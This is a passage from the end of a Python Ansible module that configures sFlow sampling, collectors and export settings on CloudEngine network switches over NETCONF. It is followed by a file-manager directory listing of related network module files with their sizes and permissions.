            self.end_state["source"] = sflow_dict["source"]
        if self.collector_id:
            self.end_state["collector"] = sflow_dict["collector"]
        if self.export_route:
            self.end_state["export"] = sflow_dict["export"]

        if self.sflow_interface:
            self.end_state["sampling"] = sflow_dict["sampling"]
            self.end_state["counter"] = sflow_dict["counter"]
        if self.existing == self.end_state:
            self.changed = False

    def work(self):
        """worker"""

        self.check_params()
        self.sflow_dict = self.get_sflow_dict()
        self.get_existing()
        self.get_proposed()

        # deal present or absent
        xml_str = ''
        if self.export_route:
            xml_str += self.config_export()
        if self.agent_ip:
            xml_str += self.config_agent()
        if self.source_ip:
            xml_str += self.config_source()

        if self.state == "present":
            if self.collector_id and self.collector_ip:
                xml_str += self.config_collector()
            if self.sflow_interface:
                xml_str += self.config_sampling()
                xml_str += self.config_counter()
        else:
            if self.sflow_interface:
                xml_str += self.config_sampling()
                xml_str += self.config_counter()
            if self.collector_id:
                xml_str += self.config_collector()

        if xml_str:
            self.netconf_load_config(xml_str)
            self.changed = True

        self.get_end_state()
        self.results['changed'] = self.changed
        self.results['proposed'] = self.proposed
        self.results['existing'] = self.existing
        self.results['end_state'] = self.end_state
        if self.changed:
            self.results['updates'] = self.updates_cmd
        else:
            self.results['updates'] = list()

        self.module.exit_json(**self.results)


def main():
    """Module main"""

    argument_spec = dict(
        agent_ip=dict(required=False, type='str'),
        source_ip=dict(required=False, type='str'),
        export_route=dict(required=False, type='str',
                          choices=['enable', 'disable']),
        collector_id=dict(required=False, type='str', choices=['1', '2']),
        collector_ip=dict(required=False, type='str'),
        collector_ip_vpn=dict(required=False, type='str'),
        collector_datagram_size=dict(required=False, type='str'),
        collector_udp_port=dict(required=False, type='str'),
        collector_meth=dict(required=False, type='str',
                            choices=['meth', 'enhanced']),
        collector_description=dict(required=False, type='str'),
        sflow_interface=dict(required=False, type='str'),
        sample_collector=dict(required=False, type='list'),
        sample_rate=dict(required=False, type='str'),
        sample_length=dict(required=False, type='str'),
        sample_direction=dict(required=False, type='str',
                              choices=['inbound', 'outbound', 'both']),
        counter_collector=dict(required=False, type='list'),
        counter_interval=dict(required=False, type='str'),
        state=dict(required=False, default='present',
                   choices=['present', 'absent'])
    )

    argument_spec.update(ce_argument_spec)
    module = Sflow(argument_spec)
    module.work()


if __name__ == '__main__':
    main()

Filemanager

Name Type Size Permission Actions
__pycache__ Folder 0755
__init__.py File 0 B 0644
a10_server.py File 10.45 KB 0644
a10_server_axapi3.py File 8.67 KB 0644
a10_service_group.py File 12.91 KB 0644
a10_virtual_server.py File 10.92 KB 0644
aireos_command.py File 6.93 KB 0644
aireos_config.py File 13.73 KB 0644
apconos_command.py File 5.96 KB 0644
aruba_command.py File 6.7 KB 0644
aruba_config.py File 16.41 KB 0644
avi_actiongroupconfig.py File 5.3 KB 0644
avi_alertconfig.py File 12.43 KB 0644
avi_alertemailconfig.py File 3.73 KB 0644
avi_alertscriptconfig.py File 3.53 KB 0644
avi_alertsyslogconfig.py File 3.69 KB 0644
avi_analyticsprofile.py File 31.36 KB 0644
avi_api_session.py File 8.86 KB 0644
avi_api_version.py File 2.65 KB 0644
avi_applicationpersistenceprofile.py File 6.47 KB 0644
avi_applicationprofile.py File 7.58 KB 0644
avi_authprofile.py File 5.06 KB 0644
avi_autoscalelaunchconfig.py File 4.38 KB 0644
avi_backup.py File 3.95 KB 0644
avi_backupconfiguration.py File 5.35 KB 0644
avi_certificatemanagementprofile.py File 3.64 KB 0644
avi_cloud.py File 11.09 KB 0644
avi_cloudconnectoruser.py File 4.57 KB 0644
avi_cloudproperties.py File 3.66 KB 0644
avi_cluster.py File 3.79 KB 0644
avi_clusterclouddetails.py File 3.47 KB 0644
avi_controllerproperties.py File 19.1 KB 0644
avi_customipamdnsprofile.py File 3.76 KB 0644
avi_dnspolicy.py File 3.69 KB 0644
avi_errorpagebody.py File 3.78 KB 0644
avi_errorpageprofile.py File 4.44 KB 0644
avi_gslb.py File 14.35 KB 0644
avi_gslbgeodbprofile.py File 4.07 KB 0644
avi_gslbservice.py File 9.43 KB 0644
avi_gslbservice_patch_member.py File 10.19 KB 0644
avi_hardwaresecuritymodulegroup.py File 3.5 KB 0644
avi_healthmonitor.py File 7.44 KB 0644
avi_httppolicyset.py File 5.22 KB 0644
avi_ipaddrgroup.py File 4.8 KB 0644
avi_ipamdnsproviderprofile.py File 6.04 KB 0644
avi_l4policyset.py File 4.03 KB 0644
avi_microservicegroup.py File 3.78 KB 0644
avi_network.py File 5.13 KB 0644
avi_networkprofile.py File 4.14 KB 0644
avi_networksecuritypolicy.py File 4.15 KB 0644
avi_pkiprofile.py File 5.32 KB 0644
avi_pool.py File 22.34 KB 0644
avi_poolgroup.py File 5.87 KB 0644
avi_poolgroupdeploymentpolicy.py File 5.49 KB 0644
avi_prioritylabels.py File 3.62 KB 0644
avi_role.py File 3.25 KB 0644
avi_scheduler.py File 5.08 KB 0644
avi_seproperties.py File 3.51 KB 0644
avi_serverautoscalepolicy.py File 7.22 KB 0644
avi_serviceengine.py File 5.74 KB 0644
avi_serviceenginegroup.py File 53.38 KB 0644
avi_snmptrapprofile.py File 3.4 KB 0644
avi_sslkeyandcertificate.py File 6.75 KB 0644
avi_sslprofile.py File 8.21 KB 0644
avi_stringgroup.py File 4.08 KB 0644
avi_systemconfiguration.py File 6.76 KB 0644
avi_tenant.py File 3.87 KB 0644
avi_trafficcloneprofile.py File 4.01 KB 0644
avi_user.py File 6.12 KB 0644
avi_useraccount.py File 5.02 KB 0644
avi_useraccountprofile.py File 4.65 KB 0644
avi_virtualservice.py File 29.62 KB 0644
avi_vrfcontext.py File 4.51 KB 0644
avi_vsdatascriptset.py File 4.86 KB 0644
avi_vsvip.py File 5.21 KB 0644
avi_webhook.py File 3.77 KB 0644
bcf_switch.py File 4.86 KB 0644
bigmon_chain.py File 3.99 KB 0644
bigmon_policy.py File 6.23 KB 0644
ce_aaa_server.py File 69.09 KB 0644
ce_aaa_server_host.py File 101.81 KB 0644
ce_acl.py File 35.95 KB 0644
ce_acl_advance.py File 73.4 KB 0644
ce_acl_interface.py File 10.36 KB 0644
ce_bfd_global.py File 21.02 KB 0644
ce_bfd_session.py File 21.99 KB 0644
ce_bfd_view.py File 19.71 KB 0644
ce_bgp.py File 79.52 KB 0644
ce_bgp_af.py File 133.02 KB 0644
ce_bgp_neighbor.py File 72.12 KB 0644
ce_bgp_neighbor_af.py File 110.55 KB 0644
ce_command.py File 7.79 KB 0644
ce_config.py File 17.88 KB 0644
ce_dldp.py File 18.62 KB 0644
ce_dldp_interface.py File 22.41 KB 0644
ce_eth_trunk.py File 22.44 KB 0644
ce_evpn_bd_vni.py File 39.01 KB 0644
ce_evpn_bgp.py File 26.71 KB 0644
ce_evpn_bgp_rr.py File 18 KB 0644
ce_evpn_global.py File 6.93 KB 0644
ce_facts.py File 11.4 KB 0644
ce_file_copy.py File 13.18 KB 0644
ce_info_center_debug.py File 21.33 KB 0644
ce_info_center_global.py File 67.85 KB 0644
ce_info_center_log.py File 20.09 KB 0644
ce_info_center_trap.py File 24.65 KB 0644
ce_interface.py File 31 KB 0644
ce_interface_ospf.py File 30.25 KB 0644
ce_ip_interface.py File 23.63 KB 0644
ce_is_is_instance.py File 8.95 KB 0644
ce_is_is_interface.py File 27.75 KB 0644
ce_is_is_view.py File 76.21 KB 0644
ce_lacp.py File 17.68 KB 0644
ce_link_status.py File 21.76 KB 0644
ce_lldp.py File 31.85 KB 0644
ce_lldp_interface.py File 68.35 KB 0644
ce_mdn_interface.py File 12.96 KB 0644
ce_mlag_config.py File 34.52 KB 0644
ce_mlag_interface.py File 36.1 KB 0644
ce_mtu.py File 18.87 KB 0644
ce_multicast_global.py File 8.98 KB 0644
ce_multicast_igmp_enable.py File 17.36 KB 0644
ce_netconf.py File 5.81 KB 0644
ce_netstream_aging.py File 18.14 KB 0644
ce_netstream_export.py File 18.9 KB 0644
ce_netstream_global.py File 36.93 KB 0644
ce_netstream_template.py File 16.57 KB 0644
ce_ntp.py File 20.32 KB 0644
ce_ntp_auth.py File 16.36 KB 0644
ce_ospf.py File 33.93 KB 0644
ce_ospf_vrf.py File 67.18 KB 0644
ce_reboot.py File 4.28 KB 0644
ce_rollback.py File 15.86 KB 0644
ce_sflow.py File 44.08 KB 0644
ce_snmp_community.py File 34.64 KB 0644
ce_snmp_contact.py File 7.23 KB 0644
ce_snmp_location.py File 6.96 KB 0644
ce_snmp_target_host.py File 32.84 KB 0644
ce_snmp_traps.py File 19.59 KB 0644
ce_snmp_user.py File 36.66 KB 0644
ce_startup.py File 15.45 KB 0644
ce_static_route.py File 29 KB 0644
ce_static_route_bfd.py File 60.9 KB 0644
ce_stp.py File 36.76 KB 0644
ce_switchport.py File 38.54 KB 0644
ce_vlan.py File 20.88 KB 0644
ce_vrf.py File 10.73 KB 0644
ce_vrf_af.py File 30.04 KB 0644
ce_vrf_interface.py File 15.17 KB 0644
ce_vrrp.py File 52.15 KB 0644
ce_vxlan_arp.py File 24.02 KB 0644
ce_vxlan_gateway.py File 33.38 KB 0644
ce_vxlan_global.py File 18.3 KB 0644
ce_vxlan_tunnel.py File 30.95 KB 0644
ce_vxlan_vap.py File 33.03 KB 0644
cnos_backup.py File 9.69 KB 0644
cnos_banner.py File 5.64 KB 0644
cnos_bgp.py File 43.15 KB 0644
cnos_command.py File 5.84 KB 0644
cnos_conditional_command.py File 5.62 KB 0644
cnos_conditional_template.py File 6.68 KB 0644
cnos_config.py File 10.86 KB 0644
cnos_factory.py File 3.36 KB 0644
cnos_facts.py File 17.45 KB 0644
cnos_image.py File 8.65 KB 0644
cnos_interface.py File 15.57 KB 0644
cnos_l2_interface.py File 17.75 KB 0644
cnos_l3_interface.py File 12.54 KB 0644
cnos_linkagg.py File 9.84 KB 0644
cnos_lldp.py File 4.13 KB 0644
cnos_logging.py File 12.73 KB 0644
cnos_reload.py File 3.25 KB 0644
cnos_rollback.py File 10.32 KB 0644
cnos_save.py File 3.42 KB 0644
cnos_showrun.py File 3.34 KB 0644
cnos_static_route.py File 9.47 KB 0644
cnos_system.py File 12.93 KB 0644
cnos_template.py File 5.25 KB 0644
cnos_user.py File 12.28 KB 0644
cnos_vlag.py File 15.19 KB 0644
cnos_vlan.py File 10.69 KB 0644
cnos_vrf.py File 11.64 KB 0644
cv_server_provision.py File 23.67 KB 0644
dladm_etherstub.py File 3.93 KB 0644
dladm_iptun.py File 7.49 KB 0644
dladm_linkprop.py File 7.53 KB 0644
dladm_vlan.py File 5.15 KB 0644
dladm_vnic.py File 6.43 KB 0644
edgeos_command.py File 5.57 KB 0644
edgeos_config.py File 10.65 KB 0644
edgeos_facts.py File 8.06 KB 0644
edgeswitch_facts.py File 7.56 KB 0644
edgeswitch_vlan.py File 15.03 KB 0644
enos_command.py File 6.07 KB 0644
enos_config.py File 10.95 KB 0644
enos_facts.py File 15.23 KB 0644
eric_eccli_command.py File 6.89 KB 0644
exos_command.py File 7.23 KB 0644
exos_config.py File 16.96 KB 0644
exos_facts.py File 5.72 KB 0644
exos_l2_interfaces.py File 26.19 KB 0644
exos_lldp_global.py File 10.39 KB 0644
exos_lldp_interfaces.py File 13.68 KB 0644
exos_vlans.py File 16.07 KB 0644
flowadm.py File 14.32 KB 0644
ftd_configuration.py File 4.93 KB 0644
ftd_file_download.py File 4.26 KB 0644
ftd_file_upload.py File 3.54 KB 0644
ftd_install.py File 11.54 KB 0644
iap_start_workflow.py File 5.21 KB 0644
iap_token.py File 3.83 KB 0644
icx_banner.py File 6.54 KB 0644
icx_command.py File 7.22 KB 0644
icx_config.py File 18.28 KB 0644
icx_copy.py File 15.16 KB 0644
icx_facts.py File 17 KB 0644
icx_interface.py File 23.05 KB 0644
icx_l3_interface.py File 14.56 KB 0644
icx_linkagg.py File 10.03 KB 0644
icx_lldp.py File 5.13 KB 0644
icx_logging.py File 18.1 KB 0644
icx_ping.py File 7.84 KB 0644
icx_static_route.py File 9.38 KB 0644
icx_system.py File 16.14 KB 0644
icx_user.py File 13.05 KB 0644
icx_vlan.py File 26.24 KB 0644
ig_config.py File 16 KB 0644
ig_unit_information.py File 3.9 KB 0644
ipadm_addr.py File 11.31 KB 0644
ipadm_addrprop.py File 6.86 KB 0644
ipadm_if.py File 5.47 KB 0644
ipadm_ifprop.py File 7.94 KB 0644
ipadm_prop.py File 6.79 KB 0644
ironware_command.py File 5.07 KB 0644
ironware_config.py File 11.11 KB 0644
ironware_facts.py File 19.45 KB 0644
nclu.py File 8.02 KB 0644
netact_cm_command.py File 11.77 KB 0644
netscaler_cs_action.py File 8.71 KB 0644
netscaler_cs_policy.py File 9.28 KB 0644
netscaler_cs_vserver.py File 42.83 KB 0644
netscaler_gslb_service.py File 23.35 KB 0644
netscaler_gslb_site.py File 13.73 KB 0644
netscaler_gslb_vserver.py File 32.98 KB 0644
netscaler_lb_monitor.py File 46.23 KB 0644
netscaler_lb_vserver.py File 70.58 KB 0644
netscaler_nitro_request.py File 27.82 KB 0644
netscaler_save_config.py File 4.67 KB 0644
netscaler_server.py File 12.88 KB 0644
netscaler_service.py File 30.9 KB 0644
netscaler_servicegroup.py File 34.33 KB 0644
netscaler_ssl_certkey.py File 11.6 KB 0644
nos_command.py File 7.15 KB 0644
nos_config.py File 14.61 KB 0644
nos_facts.py File 13.44 KB 0644
nuage_vspk.py File 41.3 KB 0644
opx_cps.py File 12.18 KB 0644
ordnance_config.py File 12.03 KB 0644
ordnance_facts.py File 8.26 KB 0644
pn_access_list.py File 4.29 KB 0644
pn_access_list_ip.py File 4.42 KB 0644
pn_admin_service.py File 5.62 KB 0644
pn_admin_session_timeout.py File 2.96 KB 0644
pn_admin_syslog.py File 6.4 KB 0644
pn_connection_stats_settings.py File 10.3 KB 0644
pn_cpu_class.py File 5.65 KB 0644
pn_cpu_mgmt_class.py File 3.75 KB 0644
pn_dhcp_filter.py File 4.66 KB 0644
pn_dscp_map.py File 4.03 KB 0644
pn_dscp_map_pri_map.py File 3.99 KB 0644
pn_fabric_local.py File 4.71 KB 0644
pn_igmp_snooping.py File 6.22 KB 0644
pn_ipv6security_raguard.py File 6.64 KB 0644
pn_ipv6security_raguard_port.py File 3.73 KB 0644
pn_ipv6security_raguard_vlan.py File 4.77 KB 0644
pn_log_audit_exception.py File 5.65 KB 0644
pn_port_config.py File 11.93 KB 0644
pn_port_cos_bw.py File 3.96 KB 0644
pn_port_cos_rate_setting.py File 5.67 KB 0644
pn_prefix_list.py File 4.12 KB 0644
pn_prefix_list_network.py File 5.06 KB 0644
pn_role.py File 6.14 KB 0644
pn_snmp_community.py File 4.99 KB 0644
pn_snmp_trap_sink.py File 6 KB 0644
pn_snmp_vacm.py File 6.09 KB 0644
pn_stp.py File 5.91 KB 0644
pn_stp_port.py File 5.02 KB 0644
pn_switch_setup.py File 12.88 KB 0644
pn_user.py File 5.11 KB 0644
pn_vflow_table_profile.py File 3.62 KB 0644
pn_vrouter_bgp.py File 16.33 KB 0644
pn_vrouter_bgp_network.py File 5.06 KB 0644
pn_vrouter_interface_ip.py File 7.05 KB 0644
pn_vrouter_loopback_interface.py File 6.4 KB 0644
pn_vrouter_ospf.py File 5.57 KB 0644
pn_vrouter_ospf6.py File 5.49 KB 0644
pn_vrouter_packet_relay.py File 5.49 KB 0644
pn_vrouter_pim_config.py File 4.77 KB 0644
pn_vtep.py File 5.1 KB 0644
slxos_command.py File 7.19 KB 0644
slxos_config.py File 17.87 KB 0644
slxos_facts.py File 13.43 KB 0644
slxos_interface.py File 14.25 KB 0644
slxos_l2_interface.py File 16.58 KB 0644
slxos_l3_interface.py File 9.41 KB 0644
slxos_linkagg.py File 9.57 KB 0644
slxos_lldp.py File 3.33 KB 0644
slxos_vlan.py File 9.39 KB 0644
sros_command.py File 6.66 KB 0644
sros_config.py File 10.97 KB 0644
sros_rollback.py File 6.26 KB 0644
vdirect_commit.py File 12.58 KB 0644
vdirect_file.py File 8.99 KB 0644
vdirect_runnable.py File 13.38 KB 0644
voss_command.py File 7.75 KB 0644
voss_config.py File 18.33 KB 0644
voss_facts.py File 15.67 KB 0644